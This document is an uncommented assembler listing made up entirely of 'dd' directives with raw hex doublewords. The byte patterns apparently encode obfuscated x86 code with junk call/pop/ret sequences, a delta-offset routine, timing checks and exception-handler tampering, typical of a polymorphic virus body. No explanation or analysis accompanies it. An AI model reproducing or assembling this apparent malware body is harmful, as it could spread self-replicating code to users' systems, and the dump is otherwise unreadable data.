		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0BFC1C351h
		dd 3F780EA2h, 2C099D89h, 95FF07D3h, 7D33025h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0B0C35141h, 382470FFh
		dd 0E9BD836Dh, 7D316h, 2E840Fh,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 310FBBC3h
		dd 9645665Ah, 96505F57h, 9D03DE8Bh, 7D31A3Dh, 4EC2B5FFh
		dd 0BD2907DCh, 7D324D5h, 121595FFh, 6A07D3h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 8B525DC3h
		dd 0D3349D9Dh, 0BD8B5B07h, 7D318E1h, 4EC2B5FFh,	0FE807DCh
		dd 19000000h, 8B2D4865h, 7350B09Ah, 77345F86h, 0FF5B93F8h
		dd 0D3324D95h, 0D240BF07h, 0BD832D57h, 7D31341h, 37840F02h
		dd 0E9000000h, 7, 0E3AACAD6h, 8B21366Ch, 0D3347D85h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0C669h, 3081B529h, 85C707D3h, 7D30651h, 0
		dd 99CF8166h, 0F205E99Dh, 6AFFFFh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0D781E8C3h, 0AEA9373h
		dd 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 337442C3h, 0D30CE99Dh, 1950107h, 8D07D301h
		dd 0D31C7185h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 69F9119Bh, 16A59D2Bh
		dd 9D0307D3h, 7D33189h,	0B9605650h, 2187C015h, 61C18B66h
		dd 2404895Bh, 13E9h, 54B58400h,	75CBBF19h, 0BE464968h
		dd 73687FAFh, 0F1A4C69Eh, 0FFC006Ah, 6AFAB7h, 0E9C18B60h
		dd 0Ah,	7EF2BBC0h, 30DE7CC4h, 8D61F4A2h, 0DD6E1E85h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 14FB1B59h, 0FD9BB66h, 5E9h, 0A4BFEC00h, 0C0835398h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0B9EDE4E1h, 57501E84h, 85603EBBh, 4895B71h
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 3A3D33A4h, 89170BD7h, 0D32E6185h, 68B0F07h
		dd 29000000h, 0D3012985h, 0E9006A07h, 8, 66C00A6Ah, 5F5BFC3h
		dd 8E0F006Ah, 8, 8C0F50h, 5F000000h, 2F4D95FFh,	0BD8B07D3h
		dd 7D31AD5h, 29B08D8Dh,	6A07DCh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0CB8113C3h, 361F0B48h
		dd 27719D8Bh, 0D1FF07D3h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 0A0C35040h, 3255BD83h, 0F0107D3h, 9285h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 2A6AA34Fh, 81665034h, 0FED1ACFh,	68Ah, 0FDBD0100h
		dd 6A07D309h, 0DF816602h, 0E850DC44h, 10h, 6DD392EBh, 7146120Dh
		dd 2D2B69DBh, 5497CCDCh, 0DD0FBF66h, 2404895Bh,	2721BD8Bh
		dd 95FF07D3h, 7D31599h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 1CC35242h, 99255B1Ch,	10B55F8h, 0D3187D8Dh
		dd 4D9D8B07h, 0E907D308h, 0DDAh, 0E8h, 0ED815D00h, 7DD6E28h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 2EC35242h
		dd 0D0CA3434h, 7E8h, 54680A00h,	5E153C82h, 96D38166h, 95895F0Bh
		dd 7D32505h, 195C858Dh,	6A07DCh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0B92931C3h, 0FEA30378h
		dd 3365BD8Bh, 609007D3h, 2810Fh, 73B70000h, 5061DF8Bh
		dd 89BE6660h, 9D37BF1Eh, 906141ACh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 9BC35141h, 6B469CB8h, 0FF6420C9h
		dd 35h,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh,	24448104h
		dd 1C04h, 0C3574700h, 1359A90Eh, 7386CF54h, 919D297Ch
		dd 0F07D307h, 389h, 0F98B6600h,	258964h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 8B32C353h, 39DCFB1h,	0FF46D676h, 0D32CCD85h,	0E99D8B07h
		dd 6A07D32Bh, 51006AFFh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 8E869h, 27670000h, 0E72C2AB2h, 9D8BBDB7h
		dd 7D316E5h, 5816BF5Bh,	0B5FF3D70h, 7D323C9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 50C35747h, 0EF9E5AF9h
		dd 95FF96B4h, 7D31819h,	13EE9h,	0F800B000h, 950170E6h
		dd 7D32705h, 0BD8B71E4h, 7D31F4Dh, 830F613Ch, 123h, 12E8h
		dd 55A16700h, 4DD0210Ah, 9F1974F0h, 0F89FEBC6h,	8BDB0B6Bh
		dd 0D3293D9Dh, 840F5F07h, 1, 0C8B60FF8h, 5830Fh, 81660000h
		dd 0BA18E3C3h, 6, 3175BD8Bh, 0C18B07D3h, 33399D29h, 840F07D3h
		dd 6, 2ED19589h, 0E8C107D3h, 0FCCB8104h, 667EFF68h, 9D8BE2F7h
		dd 7D329B5h, 9D23C82Bh,	7D303A9h, 6000BB66h, 0BF0FD18Bh
		dd 71BD8BFAh, 0E907D318h, 0A3h,	858B5B52h, 4, 12E9h, 0DA77B600h
		dd 0C8F4509Bh, 4DA818F5h, 4313CEB8h, 8391E3A5h,	0C08307C0h
		dd 5E900h, 637A0000h, 3B336C8Eh, 11830FD0h, 81000000h
		dd 671E61DFh, 61E92Eh, 0BD330000h, 7D30151h, 0FFFF8D8Bh
		dd 11E9FFFFh, 0D2000000h, 283D6975h, 0E60869E6h, 9E7C0449h
		dd 0FAEB4399h, 0F01E183h, 3684h, 13810F00h, 0E9000000h
		dd 0Eh,	0BB053120h, 34D295C1h, 6C13D118h, 0A583C286h, 0FFFFFFFFh
		dd 0E98501FEh, 8907D326h, 495h,	0CF816600h, 0E97392h, 8D000000h
		dd 0DCEA43B5h, 0DA8B6607h, 8589006Ah, 7D30AE9h,	0AE8h
		dd 8A8AD00h, 684D58FFh,	0BBBEDD31h, 51D655D7h, 1995FF5Bh
		dd 6A07D330h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0A602C357h, 5D9D8B04h,	0B907D30Bh
		dd 0F58h, 0E1835F56h, 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0F955CEEh, 0D98B66EBh
		dd 98F4BF66h, 6AC02BFCh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0B3FDC350h,	0D38C47Ah
		dd 1D9BD29h, 0D22B07D3h, 0C7DBD8Bh, 33AD07D3h, 3E8D1C2h
		dd 4E983D0h, 0BB60F475h, 0F9415E7h, 15B99D8Bh, 0D6107D3h
		dd 88h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h
		dd 0D5C35141h, 41958B99h, 6A07D329h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 5346C350h
		dd 0CDB589B0h, 6607D30Ch, 0C532D781h, 2BA18D8Bh, 6A07D3h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0BD55D2C3h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 6A5818h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 9F8E94C3h, 0BC7D525h, 0D31AE99Dh,	219D2907h
		dd 8307D303h, 0D30891BDh, 840F0007h, 82h, 1F49B589h, 0B807D3h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 8088C351h, 8D8DCDCBh, 7D34DB1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 71C35646h
		dd 6A6E404h, 0FA800A6h,	38Ch, 0FFB70F00h, 6AE1FFh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 5BBB93C3h, 660408E5h, 0BD83DF8Bh, 7D33311h, 0A840F00h
		dd 6A000004h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 4518C352h, 23E42FF4h, 8B57863Bh
		dd 0D3233DBDh, 11BD8307h, 107D333h, 3EE840Fh, 0F3810000h
		dd 3439B638h, 3311BD83h, 0F0307D3h, 3A586h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0E00C7A2Bh, 9D25D784h, 9D8B6091h, 7D3255Dh, 89D98C66h
		dd 0D30729BDh, 4E18007h, 0B59D8B60h, 0F07D326h,	28Bh, 61585700h
		dd 840FC90Ah, 127h, 0C1858BF8h,	0BB07D314h
		dd 438FB60Ch, 1FF18533h, 0BD0B07D3h, 7D31A8Dh, 0B9605090h
		dd 6A5D866Dh, 0CE8h, 0B449B600h, 1165E858h, 18874A03h
		dd 0F5250AAh, 58585A31h, 6A9061h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 6A7FE5C3h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0D18368ACh, 8E8A296h, 7F000000h, 0BCDB1E4Ch,	539582EFh
		dd 5E9h, 65A8E000h, 5B5B56D1h, 7C240481h, 6A5D8832h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 3B9BC356h, 9EA435DEh, 85893B31h, 7D31C6Dh, 198195FFh
		dd 6A07D3h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0A45B3DC3h, 0BD8D3160h, 6107D30Dh, 4EC28589h
		dd 6A07DCh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 244816C3h, 0E9FCAF90h, 19Eh, 56DFBF0Fh, 3859D8Bh
		dd 8B5F07D3h, 0DC4EBA85h, 0C7F907h, 18h, 8BF98B66h, 0DC4EBEB5h
		dd 3D9D8B07h, 8907D30Dh, 0D30DD5BDh, 0FD858B07h, 6A07D316h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 8E6AC352h, 689D815h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0E3C35646h,	20800F27h, 0E8000000h
		dd 14h,	40D678F6h, 0D165A8E0h, 78392856h, 91B49083h, 0EBFC5EAEh
		dd 26959D8Bh, 8B5B07D3h, 0D314C185h, 4468907h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0D8C35242h, 9AE53097h
		dd 977946CAh, 1F798D29h, 0D98B07D3h, 8F0F5096h,	4, 525CBB66h
		dd 51006A96h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0C5061785h, 0F567BDC4h, 4EBAB5FFh, 0DF8B07DCh
		dd 0C20A768h, 3800F61h,	66000000h, 3481D88Bh, 13235824h
		dd 8DFE8B61h, 0DC4EC285h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0AFEC00CAh
		dd 8B66501Dh, 240489F8h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 14h, 3EC35242h, 2C919D8Bh,	9D0B07D3h, 7D31D59h
		dd 198195FFh, 6A07D3h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 5BF51DC3h, 8953877Ch, 0D31BE58Dh
		dd 6A615B07h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 330BC350h, 0D331B19Dh,	1185C707h
		dd 307D333h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 1484C356h, 0BD8BA757h
		dd 7D32629h, 2B399D89h,	0BD8307D3h, 7DC4EC2h, 37840F00h
		dd 51000000h, 8B5BF98Bh, 0D31785BDh, 43E907h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 2C3486C3h, 980A1249h, 27ADBD33h, 305007D3h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 419D8BC0h
		dd 6A07D32Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0D6A0C355h, 48E0F38h, 66000000h
		dd 2329A3BBh, 0D315C5BDh, 11BD8307h, 307D333h, 42C850Fh
		dd 95890000h, 7D324FDh,	20B1BD89h, 0BD8307D3h, 7DC4EC2h
		dd 13840F00h, 6A000004h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 8213C350h, 4EC2B5FFh
		dd 0F6007DCh, 8Fh, 0BB61F900h, 7D8F3E9Ah, 25F995FFh, 6A07D3h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 1FAABEC3h, 37DB8150h, 8A362196h, 7E8FDh, 1D170000h
		dd 9DE4914Ah, 0DB8166DAh, 8B5F4F3Ah, 0DC4EB6B5h, 0E5858907h
		dd 0C707D30Bh, 1000106h, 6ACF8000h, 24348950h, 0A82FD7BFh
		dd 0C2B5FF76h, 8B07DC4Eh, 0D32459BDh, 0FBBB6607h, 9195FFE3h
		dd 6A07D315h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 50D9C352h, 131C54A2h, 26ACBF09h
		dd 0B58B0156h, 7DC4EB6h, 0B1BA1BFh, 11858B09h, 8907D303h
		dd 0D318B195h, 0C4868907h, 0E9000000h, 0Fh, 57B59998h
		dd 0E56F4C1Eh, 0A6108E7Fh, 8BD3797Ah, 0D3294195h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0F780C148h, 4C283E3h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 38C35646h, 7A6C07ECh,	9B1C5CA7h, 0C9BD2B82h
		dd 8907D30Ch, 0BF662050h, 858D211Dh, 7DC6181h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 1FC35545h, 0A60A48CCh
		dd 33A98D29h, 0BD8907D3h, 7D303A9h, 0B88689h, 11E90000h
		dd 0D1000000h, 6F9248Fh, 0B0F2ADC7h, 8F324078h,	0CAC087Fh
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 555E79C3h, 8D8529D1h, 6007D31Ah, 0AE9h, 94CBC000h
		dd 68151E3Eh, 669C04E9h, 3537CB81h, 0C2B5FF61h,	6A07DC4Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 1DAC351h,	85418ACCh, 159995FFh, 816607D3h
		dd 966A5DC3h, 5050D98Bh, 0E1A5BB52h, 310F06B4h,	2BA1BB66h
		dd 6096585Ah, 14E8h, 0BC577300h, 0E369634Bh, 0EFFE41F5h
		dd 6E86D014h, 3EF4EE2Eh, 0A5B58B7Eh, 5807D30Bh,	61D2BF0Fh
		dd 4EC2B5FFh, 13E907DCh, 60000000h, 0CF2FA5F7h,	0E1DB69ABh
		dd 0FE9CD06Ah, 9B4FBD1Ch, 0B70F11B7h, 2595FFF8h, 6A07D330h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 8353C356h, 0D316E9BDh, 840F0007h,	34h, 7E9FCh
		dd 0AAA10000h, 0D4E81108h, 3489505Ch, 55006A24h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 1AC69C38h, 5FC61BBEh, 4EC2B5FFh, 6A07DCh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 8EC0BC3h
		dd 335417B3h, 195DBD8Bh, 95FF07D3h, 7D31215h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0BC35040h, 664EE9Eh
		dd 6810Fh, 0BD290000h, 7D31481h, 4EC2B5FFh, 6A07DCh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 3DCE3AC3h, 8B577167h, 0D305D99Dh, 95FF5F07h,	7D3324Dh
		dd 13E8h, 7100A500h, 0E8E7074Dh, 5105E75Ah, 3D30DF44h
		dd 65D6C7E9h, 41BD835Fh, 207D313h, 62840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0D260B3C3h, 0AE947B51h, 9DBD8BABh, 6607D30Bh, 418DE381h
		dd 347D858Bh, 0F88A07D3h, 6A0000C6h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0F1EAC350h
		dd 0B6785661h, 0BD8B4054h, 7D30659h, 65185C7h, 7D3h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 88E9C8C3h, 6AFFFFF3h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0EE21C350h, 3DA94A45h, 8B7010E8h,	0EE960C1h
		dd 2A000000h, 5AE042A1h, 42E1436Fh, 0C3AF32A0h,	85315796h
		dd 7D30C95h, 858D615Ah,	7D31C71h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 2EC35343h, 0C5282205h, 0BDAD0836h
		dd 0FBB70F96h, 907AB3FCh, 0D8C0Fh, 8E90000h, 0F7000000h
		dd 29D59F3Eh, 509FFF25h, 14E9h,	0F12DFE00h, 7ED09C22h
		dd 7AA2061Ah, 59307B3Dh, 0D5DDBE84h, 6A90EFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0CFED4AC3h
		dd 0D98B66F9h, 9D8B006Ah, 7D3332Dh, 14E9006Ah, 0CA000000h
		dd 80F4A8D9h, 0F7D86039h, 0ABC7240Dh, 15EEF1A1h, 8DFF46B8h
		dd 0DD7E2A85h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0C14D5359h, 63ED9637h
		dd 3391BD89h, 0C08307D3h, 0BD958905h, 5007D318h, 1399BF66h
		dd 6A240489h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0A53FC356h, 6AA967h, 6AE5D380h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 4B762E26h, 0FC7306EDh, 4D95FF2Eh, 6A07D32Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0A337C353h, 0F87342D2h, 859D039Fh, 8B07D313h
		dd 0D3074DBDh, 0B08D8D07h, 6A07DC29h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0BB42C352h
		dd 6E73DB23h, 0CE952h, 0C7F90000h, 50600126h, 0E3A63B03h
		dd 0FF5BCB48h, 58B060D1h, 5E9h,	79452700h, 8B616D54h, 0D31B899Dh
		dd 55BD8307h, 107D332h,	6D850Fh, 8D890000h, 7D31C2Dh, 6A026Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0FC1228C3h, 0BE990h,	68BB0000h, 0BE820E1Fh, 0AB398DB3h
		dd 0BB5750A3h, 1994420h, 0BD23905Bh, 7D30205h, 159995FFh
		dd 6A07D3h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0FE822C3h, 0E9B4EA04h, 0CDDh, 0E8h, 0ED815D00h
		dd 7DD7E34h, 0EE9h, 0D9612A00h,	0DA1A9A95h, 0C3E70820h
		dd 0F5C5E0Eh, 68Ah, 0F9B58900h,	8D07D32Ch, 0DC195C85h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0B7341FAEh, 3D858960h, 9007D30Fh, 7E8h
		dd 8C019A00h, 716FF863h, 0BB665250h, 310FE8D2h,	585A5F51h
		dd 6A90505Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0D2DEC356h, 87CD064Fh,	35FF6455h
		dd 0
		dd 0B19D03F5h, 6407D32Ch, 2589h, 0FA8B0000h, 3371BD89h
		dd 85FF07D3h, 7D32CCDh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0E4C35747h, 0EF818728h, 702999DAh, 0BD8BFF6Ah
		dd 7D325A5h, 2D29B5FFh,	6A07D3h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 8060A7C3h, 880FB8D8h
		dd 6, 37DBD8Bh,	0FF6107D3h, 0D3181995h,	10DE907h, 0C3810000h
		dd 35854D43h, 0BEB300B0h, 0AE970E6h, 68000000h,	59B5E3A9h
		dd 8DB81257h, 0E971E460h, 7, 0B773AF22h, 3CEA93D9h, 0DC830F61h
		dd 0F9000000h, 89C8B60Fh, 0D325458Dh, 6BA07h, 0E8560000h
		dd 12h,	0FF30B172h, 6E3956F0h, 51F13ADFh, 95B44418h, 0DF80FE57h
		dd 8B5F5B1Fh, 318D29C1h, 0C107D30Fh, 7E804E8h, 1A000000h
		dd 0B3279E62h, 820F8CA4h, 0
		dd 0E2F7665Fh, 8C0FC82Bh, 3, 8BDE8B66h,	0DE8B60D1h, 25D5858Bh
		dd 0E96107D3h, 73h, 84DBD29h, 858B07D3h, 5F4C4C44h, 55F78166h
		dd 7C08317h, 0C0835DB7h, 99BD8B00h, 6607D300h, 0FB10CB81h
		dd 830FD03Bh, 9, 0E9DBBF0Fh, 3Fh, 0FF8D8BF9h, 66FFFFFFh
		dd 0CA18DB81h, 0F01E183h, 2A84h, 6850F00h, 8B000000h, 0D33205BDh
		dd 0FFA58307h, 0FEFFFFFFh, 2F15BD0Bh, 958907D3h, 5F4C4C44h
		dd 7A58589h, 0E907D3h, 8D000000h, 0DCF99BB5h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 6B2B7F68h, 23598589h, 9D0907D3h, 7D3134Dh, 0B70F006Ah
		dd 1995FFFFh, 5307D330h, 34958589h, 0B95F07D3h,	106Ah
		dd 0EDD1BF66h, 89FCE183h, 0D32451BDh, 6AFC07h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 9F280CC3h, 0BD633F1Fh, 0B8DF8Bh, 0BB000000h,	0A9C290Dh
		dd 6AD22Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 8975F2C3h, 5C556B62h, 33AD0D6Ah, 3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 78802DC3h, 0D3233C30h, 56006A8Ch
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 66605526h, 0B509DA8Bh, 7D30F45h, 880D61h, 8F0F0000h
		dd 0Bh,	58D0Fh,	30BB0000h, 8B20B57Ah, 0D3294195h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 8B18F5C8h, 0D33005BDh, 0A18D8B07h, 8B07D32Bh, 0D300D59Dh
		dd 0C28B5007h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 1694C350h, 0F99B098Eh, 9D03E383h,	7D334C1h
		dd 299BD8Bh, 6A07D3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 57B43EC3h, 891BD83h, 0F0007D3h
		dd 6C84h, 8DB58900h, 0B807D301h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 7DC35141h
		dd 0F73D5ED1h, 8DD88B58h, 0D34DB18Dh, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 0F68D9E48h, 0E825083Eh, 5E9A8h, 0DCB60000h, 0B7A1E04Fh
		dd 8BE1FFC2h, 0D32629BDh, 11BD8307h, 7D333h, 3C7840Fh
		dd 0BF520000h, 166B1B55h, 11BD835Bh, 107D333h, 3CE840Fh
		dd 9D290000h, 7D31719h,	3311BD83h, 0F0307D3h, 38586h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0B3744458h, 89576087h, 0D30DBD95h, 8C665B07h, 53006AD9h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0CC88268Ch, 0F89E1DC3h, 6A04E180h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0B694C353h
		dd 9A1317C8h, 0BF0FBFA8h, 0FC90AD8h, 13A84h, 81BD8B00h
		dd 5207D308h, 5FEDF780h, 14C1858Bh, 8D3107D3h, 7D32D9Dh
		dd 1FF18533h, 0B79007D3h, 666050D7h, 60A9E9BBh,	1FFA72BBh
		dd 6158561Ch, 6A9061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0A5037AC3h, 2CFD78A3h, 0A18D8960h
		dd 8907D333h, 0D3176D85h, 6A6107h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0D1C35242h,	5F77219Bh, 16B1BD8Bh
		dd 0F86807D3h, 0E9CC184Eh, 10h,	2969F911h, 60755381h, 0E8175784h
		dd 14F799AAh, 7240481h,	0BF3406B5h, 74981DEFh, 198195FFh
		dd 6A07D3h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 1AB67C3h,	71B53133h, 8907D301h, 0DC4EC285h
		dd 1C9E907h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 9E5314C3h, 0BF0FFA26h, 1A830FFFh
		dd 0E8000000h, 14h, 303233E3h, 0CB06F576h, 4E6BCDA2h, 0B9C29A6Dh
		dd 7159763h, 0C870F5Bh,	0F000000h, 68Ah, 0B1B53100h, 8B07D318h
		dd 0DC4EBA85h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0B70F94E2h, 1800C7DFh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0CF7FC352h, 8B5F68FBh,	0DC4EBEB5h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0FD858BB3h, 0F907D316h, 89FEB70Fh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 57DA0BDCh, 0F35DB9Dh, 487h, 3DBF6600h, 0C1858BBDh, 6A07D314h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0F13EC356h, 33E936Dh, 0B70F28C9h,	0EF8166FFh
		dd 46890629h, 1BD8B04h,	5007D332h, 0EE9h, 0A7399100h, 2D5E41D5h
		dd 0B435EED1h, 898D4C24h, 81662434h, 0FF587BC7h, 0DC4EBAB5h
		dd 0F8B70F07h, 3A3AC268h, 2EBF6621h, 2434819Ah,	2125393Dh
		dd 858DD88Bh, 7DC4EC2h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0B3C35747h, 4584DEA8h, 504A16B8h, 2 dup(310F5250h)
		dd 585A585Ah, 0FC240489h, 198195FFh, 6A07D3h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 617DCBC3h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0ADC35646h
		dd 4F810D02h, 155461BFh, 6EC78126h, 0C74408CBh,	0D3331185h
		dd 307h, 0EB816600h, 0BD83203Ah, 7DC4EC2h, 0F840F00h, 66000000h
		dd 5E4DE781h, 20E9h, 0DF816600h, 3050C87Fh, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
